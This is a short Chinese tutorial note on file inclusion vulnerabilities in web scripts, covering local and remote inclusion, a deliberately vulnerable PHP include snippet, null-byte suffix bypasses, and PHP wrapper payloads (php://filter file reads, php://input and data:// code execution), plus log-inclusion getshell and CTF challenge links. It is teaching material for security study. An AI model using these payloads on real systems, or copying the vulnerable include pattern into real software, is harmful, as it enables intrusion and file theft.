什么是文件包含
简单点说,就是写代码时,调用已有功能文件或者库的时候,就是文件包含。
常见的脚本文件包含代码:
ASP,PHP,JSP,ASPX等
<!–#include file=“1.asp” -->
<!–#include file=“top.aspx” -->
<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%@ include file=“head.jsp”%>
<?php Include(‘test.php’)?>
漏洞原理
漏洞产生是因为文件包含能够将包含的文件进行脚本解析(不论后缀格式),用户输入过滤不严谨。
表现形式:http://www.xxx.com/include.php?filename=xxx.php
漏洞分类
远程文件包含
remote file include
本地文件包含
local file include
顾名思义包含本地的文件,所以需要通过上传或者其他方式上传含有后门代码的文件(txt,jpg等等)
漏洞知识点
绕过后缀(PHP低版本)
代码
<?php \$filename=\$_GET['filename']; include($filename.'.php'); ?>这里可以采用%00截断,或者突破后缀名长度限制
远程包含时,%00,%23,?等
伪协议(高版本)
data://text/plain,<?php%20phpinfo();?>
data协议,要将allow_url_include设置为ON
文件读取:
php://filter/convert.base64-encode/resource=1.txt
file:///D:/phpstudy/PHPTutorial/WWW/1.txt
RCE执行:
php://input Post:<?php system('ver')?>
data://text/plain,<?php%20phpinfo();?>
漏洞拓展
- ekucms包含日志getshell
无法上传文件时,考虑系统,日志等文件 - [ACTF2020 新生赛]Include
https://buuoj.cn/challenges
I春秋“百度杯”CTF比赛 2017 二月场 50 include
https://www.ichunqiu.com/battalion?t=1&r=57475